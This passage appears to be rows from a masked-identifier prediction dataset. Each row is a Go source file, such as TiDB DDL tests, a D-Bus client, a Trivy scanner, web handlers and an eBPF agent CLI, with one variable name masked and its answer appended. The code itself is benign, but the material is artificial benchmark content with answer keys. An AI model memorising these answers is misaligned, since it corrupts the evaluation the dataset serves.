""6000 1"")) s.tk.MustExec(""alter table tidb.test auto_increment = 5;"") s.tk.MustExec(""insert tidb.test values (null, 1);"") s.tk.MustQuery(""select * from tidb.test"").Check(testkit.Rows(""1 1"", ""6000 1"", ""11000 1"")) // Current range for table test is [11000, 15999]. // Though it does not have a tuple ""a = 15999"", its global next auto increment id should be 16000. // Anyway it is not compatible with MySQL. s.tk.MustExec(""alter table tidb.test auto_increment = 12000;"") s.tk.MustExec(""insert tidb.test values (null, 1);"") s.tk.MustQuery(""select * from tidb.test"").Check(testkit.Rows(""1 1"", ""6000 1"", ""11000 1"", ""16000 1"")) s.tk.MustExec(""create table tidb.test2 (a int);"") s.testErrorCode(c, ""alter table tidb.test2 add column b int auto_increment key, auto_increment=10;"", tmysql.ErrUnknown) } func (s *testDBSuite) TestCheckColumnDefaultValue(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test;"") s.tk.MustExec(""drop table if exists text_default_text;"") s.testErrorCode(c, ""create table text_default_text(c1 text not null default '');"", tmysql.ErrBlobCantHaveDefault) s.testErrorCode(c, ""create table text_default_text(c1 text not null default 'scds');"", tmysql.ErrBlobCantHaveDefault) s.tk.MustExec(""drop table if exists text_default_json;"") s.testErrorCode(c, ""create table text_default_json(c1 json not null default '');"", tmysql.ErrBlobCantHaveDefault) s.testErrorCode(c, ""create table text_default_json(c1 json not null default 'dfew555');"", tmysql.ErrBlobCantHaveDefault) s.tk.MustExec(""drop table if exists text_default_blob;"") s.testErrorCode(c, ""create table text_default_blob(c1 blob not null default '');"", tmysql.ErrBlobCantHaveDefault) s.testErrorCode(c, ""create table text_default_blob(c1 blob not null default 'scds54');"", tmysql.ErrBlobCantHaveDefault) s.tk.MustExec(""set sql_mode='';"") s.tk.MustExec(""create table text_default_text(c1 text not null default '');"") s.tk.MustQuery(`show create table text_default_text`).Check(testutil.RowsWithSep(""|"", ""text_default_text CREATE TABLE `text_default_text` (\n""+ "" `c1` text NOT NULL\n""+ "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"", )) ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() tblInfo, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""text_default_text"")) c.Assert(err, IsNil) c.Assert(tblInfo.Meta().Columns[0].DefaultValue, Equals, """") s.tk.MustExec(""create table text_default_blob(c1 blob not null default '');"") s.tk.MustQuery(`show create table text_default_blob`).Check(testutil.RowsWithSep(""|"", ""text_default_blob CREATE TABLE `text_default_blob` (\n""+ "" `c1` blob NOT NULL\n""+ "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"", )) is = domain.GetDomain(ctx).InfoSchema() tblInfo, err = is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""text_default_blob"")) c.Assert(err, IsNil) c.Assert(tblInfo.Meta().Columns[0].DefaultValue, Equals, """") s.tk.MustExec(""create table text_default_json(c1 json not null default '');"") s.tk.MustQuery(`show create table text_default_json`).Check(testutil.RowsWithSep(""|"", ""text_default_json CREATE TABLE `text_default_json` (\n""+ "" `c1` json NOT NULL DEFAULT 'null'\n""+ "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"", )) is = domain.GetDomain(ctx).InfoSchema() tblInfo, err = is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""text_default_json"")) c.Assert(err, IsNil) c.Assert(tblInfo.Meta().Columns[0].DefaultValue, Equals, `null`) } func (s *testDBSuite) TestCharacterSetInColumns(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""create database varchar_test;"") defer s.tk.MustExec(""drop database varchar_test;"") s.tk.MustExec(""use varchar_test"") s.tk.MustExec(""create table t (c1 int, s1 varchar(10), s2 text)"") s.tk.MustQuery(""select count(*) from information_schema.columns where table_schema = 'varchar_test' and character_set_name != 'utf8mb4'"").Check(testkit.Rows(""0"")) s.tk.MustQuery(""select count(*) from information_schema.columns where table_schema = 'varchar_test' and character_set_name = 'utf8mb4'"").Check(testkit.Rows(""2"")) s.tk.MustExec(""create table t1(id int) charset=UTF8;"") s.tk.MustExec(""create table t2(id int) charset=BINARY;"") s.tk.MustExec(""create table t3(id int) charset=LATIN1;"") s.tk.MustExec(""create table t4(id int) charset=ASCII;"") s.tk.MustExec(""create table t5(id int) charset=UTF8MB4;"") s.tk.MustExec(""create table t11(id int) charset=utf8;"") s.tk.MustExec(""create table t12(id int) charset=binary;"") s.tk.MustExec(""create table t13(id int) charset=latin1;"") s.tk.MustExec(""create table t14(id int) charset=ascii;"") s.tk.MustExec(""create table t15(id int) charset=utf8mb4;"") } func (s *testDBSuite) TestAddNotNullColumnWhileInsertOnDupUpdate(c *C) { tk1 := testkit.NewTestKit(c, s.store) tk1.MustExec(""use "" + s.schemaName) tk2 := testkit.NewTestKit(c, s.store) tk2.MustExec(""use "" + s.schemaName) closeCh := make(chan bool) wg := new(sync.WaitGroup) wg.Add(1) tk1.MustExec(""create table nn (a int primary key, b int)"") tk1.MustExec(""insert nn values (1, 1)"") var tk2Err error go func() { defer wg.Done() for { select { case <-closeCh: return default: } _, tk2Err = tk2.Exec(""insert nn (a, b) values (1, 1) on duplicate key update a = 1, b = b + 1"") if tk2Err != nil { return } } }() tk1.MustExec(""alter table nn add column c int not null default 0"") close(closeCh) wg.Wait() c.Assert(tk2Err, IsNil) } func (s *testDBSuite) TestColumnModifyingDefinition(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists test2;"") s.tk.MustExec(""create table test2 (c1 int, c2 int, c3 int default 1, index (c1));"") s.tk.MustExec(""alter table test2 change c2 a int not null;"") ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() t, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""test2"")) c.Assert(err, IsNil) var c2 *table.Column for _, col := range t.Cols() { if col.Name.L == ""a"" { c2 = col } } c.Assert(mysql.HasNotNullFlag(c2.Flag), IsTrue) s.tk.MustExec(""drop table if exists test2;"") s.tk.MustExec(""create table test2 (c1 int, c2 int, c3 int default 1, index (c1));"") s.tk.MustExec(""insert into test2(c2) values (null);"") s.testErrorCode(c, ""alter table test2 change c2 a int not null"", tmysql.ErrInvalidUseOfNull) s.testErrorCode(c, ""alter table test2 change c1 a1 bigint not null;"", tmysql.WarnDataTruncated) } func (s *testDBSuite) TestModifyColumnRollBack(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t1"") s.mustExec(c, ""create table t1 (c1 int, c2 int, c3 int default 1, index (c1));"") var c2 *table.Column var checkErr error hook := &ddl.TestDDLCallback{} hook.OnJobUpdatedExported = func(job *model.Job) { if checkErr != nil { return } t := s.testGetTable(c, ""t1"") for _, col := range t.Cols() { if col.Name.L == ""c2"" { c2 = col } } if mysql.HasPreventNullInsertFlag(c2.Flag) { s.testErrorCode(c, ""insert into t1(c2) values (null);"", tmysql.ErrBadNull) } hookCtx := mock.NewContext() hookCtx.Store = s.store var err error err = hookCtx.NewTxn(context.Background()) if err != nil { checkErr = errors.Trace(err) return } jobIDs := []int64{job.ID} txn, err := hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } errs, err := admin.CancelJobs(txn, jobIDs) if err != nil { checkErr = errors.Trace(err) return } // It only tests cancel one DDL job. if errs[0] != nil { checkErr = errors.Trace(errs[0]) return } txn, err = hookCtx.Txn(true) if err != nil { checkErr = errors.Trace(err) return } err = txn.Commit(context.Background()) if err != nil { checkErr = errors.Trace(err) } } originalHook := s.dom.DDL().GetHook() s.dom.DDL().(ddl.DDLForTest).SetHook(hook) done := make(chan error, 1) go backgroundExec(s.store, ""alter table t1 change c2 c2 bigint not null;"", done) ticker := time.NewTicker(s.lease / 2) defer ticker.Stop() LOOP: for { select { case err := <-done: c.Assert(err, NotNil) c.Assert(err.Error(), Equals, ""[ddl:12]cancelled DDL job"") break LOOP case <-ticker.C: s.mustExec(c, ""insert into t1(c2) values (null);"") } } t := s.testGetTable(c, ""t1"") for _, col := range t.Cols() { if col.Name.L == ""c2"" { c2 = col } } c.Assert(mysql.HasNotNullFlag(c2.Flag), IsFalse) s.dom.DDL().(ddl.DDLForTest).SetHook(originalHook) s.mustExec(c, ""drop table t1"") } func (s *testDBSuite) TestTransactionOnAddDropColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t1"") s.mustExec(c, ""create table t1 (a int, b int);"") s.mustExec(c, ""create table t2 (a int, b int);"") s.mustExec(c, ""insert into t2 values (2,0)"") transactions := [][]string{ { ""begin"", ""insert into t1 set a=1"", ""update t1 set b=1 where a=1"", ""commit"", }, { ""begin"", ""insert into t1 select a,b from t2"", ""update t1 set b=2 where a=2"", ""commit"", }, } originHook := s.dom.DDL().GetHook() defer s.dom.DDL().(ddl.DDLForTest).SetHook(originHook) hook := &ddl.TestDDLCallback{} hook.OnJobRunBeforeExported = func(job *model.Job) { switch job.SchemaState { case model.StateWriteOnly, model.StateWriteReorganization, model.StateDeleteOnly, model.StateDeleteReorganization: default: return } // do transaction. for _, transaction := range transactions { for _, sql := range transaction { s.mustExec(c, sql) } } } s.dom.DDL().(ddl.DDLForTest).SetHook(hook) done := make(chan error, 1) // test transaction on add column. go backgroundExec(s.store, ""alter table t1 add column c int not null after a"", done) err := <-done c.Assert(err, IsNil) s.tk.MustQuery(""select a,b from t1 order by a"").Check(testkit.Rows(""1 1"", ""1 1"", ""1 1"", ""2 2"", ""2 2"", ""2 2"")) s.mustExec(c, ""delete from t1"") // test transaction on drop column. go backgroundExec(s.store, ""alter table t1 drop column c"", done) err = <-done c.Assert(err, IsNil) s.tk.MustQuery(""select a,b from t1 order by a"").Check(testkit.Rows(""1 1"", ""1 1"", ""1 1"", ""2 2"", ""2 2"", ""2 2"")) } func (s *testDBSuite) TestTransactionWithWriteOnlyColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t1"") s.mustExec(c, ""create table t1 (a int key);"") transactions := [][]string{ { ""begin"", ""insert into t1 set a=1"", ""update t1 set a=2 where a=1"", ""commit"", }, } originHook := s.dom.DDL().GetHook() defer s.dom.DDL().(ddl.DDLForTest).SetHook(originHook) hook := &ddl.TestDDLCallback{} hook.OnJobRunBeforeExported = func(job *model.Job) { switch job.SchemaState { case model.StateWriteOnly: default: return } // do transaction. for _, transaction := range transactions { for _, sql := range transaction { s.mustExec(c, sql) } } } s.dom.DDL().(ddl.DDLForTest).SetHook(hook) done := make(chan error, 1) // test transaction on add column. go backgroundExec(s.store, ""alter table t1 add column c int not null"", done) err := <-done c.Assert(err, IsNil) s.tk.MustQuery(""select a from t1"").Check(testkit.Rows(""2"")) s.mustExec(c, ""delete from t1"") // test transaction on drop column. go backgroundExec(s.store, ""alter table t1 drop column c"", done) err = <-done c.Assert(err, IsNil) s.tk.MustQuery(""select a from t1"").Check(testkit.Rows(""2"")) } func (s *testDBSuite) TestAddColumn2(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.mustExec(c, ""use test_db"") s.mustExec(c, ""drop table if exists t1"") s.mustExec(c, ""create table t1 (a int key, b int);"") defer s.mustExec(c, ""drop table if exists t1, t2"") originHook := s.dom.DDL().GetHook() defer s.dom.DDL().(ddl.DDLForTest).SetHook(originHook) hook := &ddl.TestDDLCallback{} var writeOnlyTable table.Table hook.OnJobRunBeforeExported = func(job *model.Job) { if job.SchemaState == model.StateWriteOnly { writeOnlyTable, _ = s.dom.InfoSchema().TableByID(job.TableID) } } s.dom.DDL().(ddl.DDLForTest).SetHook(hook) done := make(chan error, 1) // test transaction on add column. go backgroundExec(s.store, ""alter table t1 add column c int not null"", done) err := <-done c.Assert(err, IsNil) s.mustExec(c, ""insert into t1 values (1,1,1)"") s.tk.MustQuery(""select a,b,c from t1"").Check(testkit.Rows(""1 1 1"")) // mock for outdated tidb update record. c.Assert(writeOnlyTable, NotNil) ctx := context.Background() err = s.tk.Se.NewTxn(ctx) c.Assert(err, IsNil) oldRow, err := writeOnlyTable.RowWithCols(s.tk.Se, 1, writeOnlyTable.WritableCols()) c.Assert(err, IsNil) c.Assert(len(oldRow), Equals, 3) err = writeOnlyTable.RemoveRecord(s.tk.Se, 1, oldRow) c.Assert(err, IsNil) _, err = writeOnlyTable.AddRecord(s.tk.Se, types.MakeDatums(oldRow[0].GetInt64(), 2, oldRow[2].GetInt64()), &table.AddRecordOpt{IsUpdate: true}) c.Assert(err, IsNil) err = s.tk.Se.StmtCommit() c.Assert(err, IsNil) err = s.tk.Se.CommitTxn(ctx) s.tk.MustQuery(""select a,b,c from t1"").Check(testkit.Rows(""1 2 1"")) // Test for _tidb_rowid var re *testkit.Result s.mustExec(c, ""create table t2 (a int);"") hook.OnJobRunBeforeExported = func(job *model.Job) { if job.SchemaState != model.StateWriteOnly { return } // allow write _tidb_rowid first s.mustExec(c, ""set @@tidb_opt_write_row_id=1"") s.mustExec(c, ""begin"") s.mustExec(c, ""insert into t2 (a,_tidb_rowid) values (1,2);"") re = s.tk.MustQuery("" select a,_tidb_rowid from t2;"") s.mustExec(c, ""commit"") } s.dom.DDL().(ddl.DDLForTest).SetHook(hook) go backgroundExec(s.store, ""alter table t2 add column b int not null default 3"", done) err = <-done c.Assert(err, IsNil) re.Check(testkit.Rows(""1 2"")) s.tk.MustQuery(""select a,b,_tidb_rowid from t2"").Check(testkit.Rows(""1 3 2"")) } ",testPartition 769,"package dbus import ( log ""github.com/Sirupsen/logrus"" ""github.com/godbus/dbus"" ""github.com/godbus/dbus/introspect"" ""strings"" ""reflect"" ""strconv"" ) const ( busName = ""unix:path=/var/run/dbus/comodo_socket"" outDirectionArg = ""out"" ) var ( DbusComodoInstance *DSbusComodoStruct ) var returnType = map[string]reflect.Type{ ""y"": reflect.TypeOf(byte(0)), ""b"": reflect.TypeOf(false), ""n"": reflect.TypeOf(int16(0)), ""q"": reflect.TypeOf(uint16(0)), ""i"": reflect.TypeOf(int32(0)), ""u"": reflect.TypeOf(uint32(0)), ""x"": reflect.TypeOf(int64(0)), ""t"": reflect.TypeOf(uint64(0)), ""d"": reflect.TypeOf(float64(0)), ""s"": reflect.TypeOf(""""), ""g"": reflect.TypeOf(dbus.Signature{}), ""o"": reflect.TypeOf(dbus.ObjectPath("""")), ""v"": reflect.TypeOf(dbus.Variant{}), ""h"": reflect.TypeOf(dbus.UnixFD(0)), //TODO: ??? interfacesType = reflect.New(reflect.TypeOf([]interface{})).Interface() //TODO:???? ""h"": reflect.New(reflect.TypeOf(dbus.UnixFDIndex(0))).Interface(), ""as"": reflect.TypeOf([]string{}), //a: //array //r : struct //e : dict } var parameterType = map[string]func(string, *[]interface{}){ ""y"": func(value string, lI *[]interface{}){*lI = append(*lI, []byte(value))}, ""b"": func(value string, lI *[]interface{}){b, _:= strconv.ParseBool(value); *lI = append(*lI, b)}, ""n"": func(value string, lI *[]interface{}){b, _:= strconv.ParseInt(value, 10, 16); *lI = append(*lI, b)}, ""q"": func(value string, lI *[]interface{}){b, _:= strconv.ParseUint(value, 10, 16); *lI = append(*lI, b)}, ""i"": func(value string, lI *[]interface{}){b, _:= strconv.ParseInt(value, 10, 32); *lI = append(*lI, b)}, ""u"": func(value string, lI *[]interface{}){b, _:= strconv.ParseUint(value, 10, 32); *lI = append(*lI, b)}, ""x"": func(value string, lI *[]interface{}){b, _:= strconv.ParseInt(value, 10, 64); *lI = append(*lI, b)}, ""t"": func(value string, lI *[]interface{}){b, _:= strconv.ParseUint(value, 10, 64); *lI = append(*lI, b)}, ""d"": func(value string, lI *[]interface{}){b, _:= strconv.ParseFloat(value, 64); *lI = append(*lI, b)}, ""s"": func(value string, lI *[]interface{}){*lI = append(*lI, value)}, //TODO: next type please //""g"": signatureType, //""o"": objectPathType, //""v"": variantType, //""h"": unixFDIndexType, //""as"": arrayString, } var parameterType2 = map[string]func(interface{}, *[]interface{}){ ""y"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, []byte(value.([]byte)))}, ""b"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, value.(bool))}, ""n"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, int(value.(float64)))}, ""q"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, uint16(value.(float64)))}, ""i"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, int32(value.(float64)))}, ""u"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, uint32(value.(float64)))}, ""x"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, int64(value.(float64)))}, ""t"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, uint64(value.(float64)))}, ""d"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, value)}, ""s"": func(value interface{}, lI *[]interface{}){*lI = append(*lI, value)}, //TODO: next type please //""g"": signatureType, //""o"": objectPathType, //""v"": variantType, //""h"": unixFDIndexType, //""as"": arrayString, } func init(){ NewDbusComodoStruct() } type DSbusComodoStruct struct { c *dbus.Conn o dbus.BusObject } func NewDbusComodoStruct() (*DSbusComodoStruct, error){ var err error if DbusComodoInstance == nil{ DbusComodoInstance = new(DSbusComodoStruct) err = DbusComodoInstance.startSystemDBus() } return DbusComodoInstance, err } func (d *DSbusComodoStruct) startSystemDBus() (err error) { d.c, err = dbus.Dial(busName) if checkErrors(nil, err) {return} err = d.c.Auth(nil) if checkErrors(nil, err) {return} err = d.c.Hello() if checkErrors(nil, err) {return} return } func (d *DSbusComodoStruct) MethodInterfaceReturnInterface(object string, path string, interfaceName string, methodName string, args []map[string]interface{})(interface{}, error) { node, errIntrospect := introspect.Call(d.c.Object(object, dbus.ObjectPath(path))) if checkErrors(nil, errIntrospect) {return nil, errIntrospect} resTmp := getRetType(*node, interfaceName, methodName) errCall := d.c.Object(object, dbus.ObjectPath(path)).Call(strings.Join([]string{interfaceName, methodName}, "".""), 0, getParamValueStringInterface(args)...).Store(resTmp) if checkErrors(nil, errCall) {return nil, errCall} return resTmp, nil } func getParamValueStringInterface(args []map[string]interface{}) (listInterface []interface{}){ if args != nil{ for _, v := range args{ //""Args"":[{""as"":[""uno"", ""dos""]}, {""a{us}"":[{1:""uno""},{2:""dos""}]}], for k1, v1 := range v { parameterType2[k1](v1, &listInterface) } } } return } func getRetType(node introspect.Node, interfaceName string, methodName string)(res interface{}){ for i := range node.Interfaces { if strings.Compare(node.Interfaces[i].Name, interfaceName) == 0 { for j := range node.Interfaces[i].Methods { if strings.Compare(node.Interfaces[i].Methods[j].Name, methodName) == 0 { for k := range node.Interfaces[i].Methods[j].Args { if strings.Compare(node.Interfaces[i].Methods[j].Args[k].Direction, outDirectionArg) == 0 { t := node.Interfaces[i].Methods[j].Args[k].Type //TODO: be careful with TypeFor2 it is in godbus/dbus dependency res = reflect.New(dbus.TypeFor2(t)).Interface() return } } } } } } return } ///////////////////////////////////// // utils TODO: move to other site func checkErrors(err error, [MASK] error)(b bool){ if [MASK] != nil { //TODO: remove if if err == nil { log.Errorf("""", [MASK] ) }else{ log.Errorf(err.Error(), [MASK] ) } b = true } return } ",currentError 770,"package tfjson import ( ""context"" ""fmt"" ""io"" ""io/fs"" ""github.com/aquasecurity/trivy/pkg/iac/framework"" ""github.com/aquasecurity/trivy/pkg/iac/scan"" ""github.com/aquasecurity/trivy/pkg/iac/scanners/options"" terraformScanner ""github.com/aquasecurity/trivy/pkg/iac/scanners/terraform"" ""github.com/aquasecurity/trivy/pkg/iac/scanners/terraform/executor"" ""github.com/aquasecurity/trivy/pkg/iac/scanners/terraformplan/tfjson/parser"" ""github.com/aquasecurity/trivy/pkg/log"" ) type Scanner struct { parser *parser.Parser logger *log.Logger options []options.ScannerOption spec string executorOpt []executor.Option frameworks []framework.Framework loadEmbeddedPolicies bool loadEmbeddedLibraries bool enableEmbeddedLibraries bool policyDirs []string policyReaders []io.Reader } func (s *Scanner) SetIncludeDeprecatedChecks(bool) {} func (s *Scanner) SetCustomSchemas(map[string][]byte) {} func (s *Scanner) SetUseEmbeddedLibraries(b bool) { s.loadEmbeddedLibraries = b } func (s *Scanner) SetSpec(spec string) { s.spec = spec } func (s *Scanner) SetRegoOnly(regoOnly bool) { s.executorOpt = append(s.executorOpt, executor.OptionWithRegoOnly(regoOnly)) } func (s *Scanner) SetFrameworks(frameworks []framework.Framework) { s.frameworks = frameworks } func (s *Scanner) SetUseEmbeddedPolicies(b bool) { s.loadEmbeddedPolicies = b } func (s *Scanner) SetEmbeddedLibrariesEnabled(enabled bool) { s.enableEmbeddedLibraries = enabled } func (s *Scanner) SetPolicyReaders( [MASK] []io.Reader) { s.policyReaders = [MASK] } func (s *Scanner) SetTraceWriter(_ io.Writer) { } func (s *Scanner) SetPerResultTracingEnabled(_ bool) { } func (s *Scanner) SetPolicyDirs(dirs ...string) { s.policyDirs = dirs } func (s *Scanner) SetDataDirs(_ ...string) {} func (s *Scanner) SetPolicyNamespaces(_ ...string) {} func (s *Scanner) SetPolicyFilesystem(_ fs.FS) { // handled by rego when option is passed on } func (s *Scanner) SetDataFilesystem(_ fs.FS) { // handled by rego when option is passed on } func (s *Scanner) SetRegoErrorLimit(_ int) {} func (s *Scanner) Name() string { return ""Terraform Plan JSON"" } func (s *Scanner) ScanFS(ctx context.Context, fsys fs.FS, dir string) (scan.Results, error) { var results scan.Results walkFn := func(path string, d fs.DirEntry, err error) error { if err != nil { return err } if d.IsDir() { return nil } res, err := s.ScanFile(path, fsys) if err != nil { return fmt.Errorf(""failed to scan %s: %w"", path, err) } results = append(results, res...) return nil } if err := fs.WalkDir(fsys, dir, walkFn); err != nil { return nil, err } return results, nil } func New(opts ...options.ScannerOption) *Scanner { scanner := &Scanner{ options: opts, logger: log.WithPrefix(""tfjson scanner""), parser: parser.New(), } for _, o := range opts { o(scanner) } return scanner } func (s *Scanner) ScanFile(filepath string, fsys fs.FS) (scan.Results, error) { s.logger.Debug(""Scanning file"", log.FilePath(filepath)) file, err := fsys.Open(filepath) if err != nil { return nil, err } defer file.Close() return s.Scan(file) } func (s *Scanner) Scan(reader io.Reader) (scan.Results, error) { planFile, err := s.parser.Parse(reader) if err != nil { return nil, err } planFS, err := planFile.ToFS() if err != nil { return nil, fmt.Errorf(""failed to convert plan to FS: %w"", err) } scanner := terraformScanner.New(s.options...) return scanner.ScanFS(context.TODO(), planFS, ""."") } ",readers 771,"package app import ( ""github.com/labstack/echo"" ""github.com/valyala/fasthttp"" ""fmt"" ""strconv"" ""github.com/Sirupsen/logrus"" ""github.com/gocraft/dbr"" ""MicroFilm/model"" ""github.com/dgrijalva/jwt-go"" ""time"" ) func Comment_list() echo.HandlerFunc { return func(c echo.Context) (err error) { mid, _ := strconv.ParseInt(c.QueryParam(""mid""), 10, 64) claims := c.Get(""User"").(jwt.MapClaims) uid := int64(claims[""uid""].(float64)) logrus.Debug(""根据电影编号查询评论列表: "", mid ,"" uid:"",uid) tx := c.Get(""Tx"").(*dbr.Tx) var [MASK] model.Comments if err := [MASK] .Load(tx, uid, mid); err != nil { logrus.Debug(err) return echo.NewHTTPError(fasthttp.StatusInternalServerError, err.Error()) } return c.JSON(fasthttp.StatusOK, map[string]interface{}{ ""code"":0, ""msg"":""successful."", ""data"": [MASK] , }) } } func Comment_reply() echo.HandlerFunc { return func(c echo.Context) (err error) { comment := &model.Comment{ CreateTime:time.Now().Unix(), } c.Bind(comment) claims := c.Get(""User"").(jwt.MapClaims) uid := claims[""uid""].(float64) comment.Uid = int64(uid) tx := c.Get(""Tx"").(*dbr.Tx) if err := comment.Save(tx); err != nil { logrus.Debug(err) return echo.NewHTTPError(fasthttp.StatusInternalServerError, err.Error()) } return c.JSON(fasthttp.StatusOK, map[string]interface{}{ ""code"":0, ""msg"":""successful."", }) } } func Comment_zan() echo.HandlerFunc { return func(c echo.Context) (err error) { id := c.QueryParam(""mid""); fmt.Printf(""id:%d"", id) return c.JSON(fasthttp.StatusOK, interface{}(""test"")) } }",comments 772,"package cmd import ( ""net/http"" ""os"" ""os/signal"" ""syscall"" ""time"" ""github.com/moolen/juno/pkg/agent/controller"" ""github.com/prometheus/client_golang/prometheus/promhttp"" log ""github.com/sirupsen/logrus"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ) func init() { [MASK] := agentCmd.PersistentFlags() [MASK] .String(""iface"", ""veth"", ""target interfaces for bpf injection"") [MASK] .Duration(""sync-interval"", time.Second*60, ""poll interval to attach eBPF programs to interfaces"") [MASK] .Duration(""perf-poll-interval"", time.Millisecond, ""poll interval on perf map"") [MASK] .String(""k8s-node"", """", ""kubernetes node name"") viper.BindPFlags( [MASK] ) viper.BindEnv(""iface"", ""TARGET_INTERFACES"") viper.BindEnv(""sync-interval"", ""SYNC_INTERVAL"") viper.BindEnv(""perf-poll-interval"", ""PERF_POLL_INTERVAL"") viper.BindEnv(""k8s-node"", ""KUBERNETES_NODE"") rootCmd.AddCommand(agentCmd) } var agentCmd = &cobra.Command{ Use: ""agent"", Short: ""The agent captures network traffic on specific interfaces"", Run: func(cmd *cobra.Command, args []string) { log.Infof(""starting agent"") bpfController, err := controller.New( viper.GetString(""iface""), viper.GetString(""k8s-node""), viper.GetDuration(""sync-interval""), viper.GetDuration(""perf-poll-interval""), ) if err != nil { log.Fatal(err) } stopChan := make(chan os.Signal) signal.Notify(stopChan, os.Interrupt) signal.Notify(stopChan, syscall.SIGTERM) go func() { <-stopChan log.Infof(""received ctrl+c, cleaning up"") bpfController.Stop() log.Infof(""shutting down"") os.Exit(0) }() bpfController.Start() // start metrics server http.Handle(""/metrics"", promhttp.Handler()) http.ListenAndServe("":2112"", nil) }, } ",flags 773,"// Copyright 2021 The cal2cat authors. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package cal import ( ""io"" ""log"" ""net/http"" ""os"" ""sort"" ""strings"" ""github.com/abc-inc/cal2cat/event"" ""github.com/emersion/go-ical"" ) // Load loads multiple calendars and returns an ordered series of events. func Load(paths ...string) event.Events { es := []ical.Event{} for _, p := range paths { cal := decode(p) es = append(es, cal.Events()...) } eas := make([]event.Wrapper, len(es)) for i, e := range es { e.Props.Get(ical.PropDateTimeStart).Params.Set(ical.ParamTimezoneID, ""Local"") e.Props.Get(ical.PropDateTimeEnd).Params.Set(ical.ParamTimezoneID, ""Local"") eas[i] = *event.NewCalEvent(e) } sort.SliceStable(eas, func(i, j int) bool { aStart := eas[i].StartTime() [MASK] := eas[j].StartTime() return aStart.Before( [MASK] ) }) return eas } // decode creates a new Calendar from the given path. func decode(path string) *ical.Calendar { r, err := readFrom(path) if err != nil { log.Fatalf(""cannot read calender from %s: %v"", path, err) } cal, err := ical.NewDecoder(r).Decode() r.Close() if err != nil { log.Fatalf(""cannot parse calendar from %s: %v"", path, err) } return cal } // readFrom opens a file for reading or downloads it using HTTP. func readFrom(path string) (io.ReadCloser, error) { if !strings.Contains(path, ""://"") { return os.Open(path) } t := &http.Transport{} t.RegisterProtocol(""file"", http.NewFileTransport(http.Dir(""/""))) //nolint:gosec c := &http.Client{Transport: t} res, err := c.Get(path) if err != nil { return nil, err } return res.Body, nil } ",bStart 774,"package agent import ( ""context"" ""errors"" ""fmt"" ""strings"" ""time"" ""github.com/antgroup/aievo/callback"" ""github.com/antgroup/aievo/feedback"" ""github.com/antgroup/aievo/llm"" ""github.com/antgroup/aievo/prompt"" ""github.com/antgroup/aievo/schema"" ""github.com/antgroup/aievo/tool"" ""github.com/antgroup/aievo/utils/json"" ) var _ schema.Agent = (*BaseAgent)(nil) type BaseAgent struct { name string desc string role string llm llm.LLM // tools is a list of the action the agent can do. tools []tool.Tool useFunctionCall bool env schema.Environment fdChain feedback.Feedback callback callback.Handler prompt prompt.Template filterMemoryFunc func([]schema.Message) []schema.Message parseOutputFunc func(string, *llm.Generation) ([]schema.StepAction, []schema.Message, error) MaxIterations int vars map[string]string } func NewBaseAgent(opts ...Option) (*BaseAgent, error) { options := &Options{ Vars: make(map[string]string), } option := append(defaultBaseOptions(), opts...) for _, opt := range option { opt(options) } p := options.prompt + options.instruction + options.suffix if p == """" { return nil, schema.ErrMissingPrompt } if options.name == """" { return nil, schema.ErrMissingName } if options.desc == """" { return nil, schema.ErrMissingDesc } if options.LLM == nil { return nil, schema.ErrMissingLLM } template, err := prompt.NewPromptTemplate(p) if err != nil { return nil, err } base := &BaseAgent{ name: options.name, desc: options.desc, role: options.role, llm: options.LLM, env: options.Env, tools: options.Tools, useFunctionCall: options.useFunctionCall, fdChain: options.FeedbackChain, callback: options.Callback, MaxIterations: options.MaxIterations, filterMemoryFunc: options.FilterMemoryFunc, parseOutputFunc: options.ParseOutputFunc, prompt: template, vars: options.Vars, } return base, nil } func (ba *BaseAgent) Run(ctx context.Context, messages []schema.Message, opts ...llm.GenerateOption) (*schema.Generation, error) { steps := make([]schema.StepAction, 0) tokens := 0 if ba.filterMemoryFunc != nil { messages = ba.filterMemoryFunc(messages) } for i := 0; i < ba.MaxIterations; i++ { feedbacks, actions, msgs, cost, err := ba.Plan( ctx, messages, steps, opts...) if err != nil { return nil, err } fd := """" for _, sfd := range feedbacks { fd += fmt.Sprintf(""- %s\n"", sfd.Feedback) } for idx := range actions { actions[idx].Feedback = fd ba.doAction(ctx, &actions[idx]) } steps = append(steps, actions...) tokens += 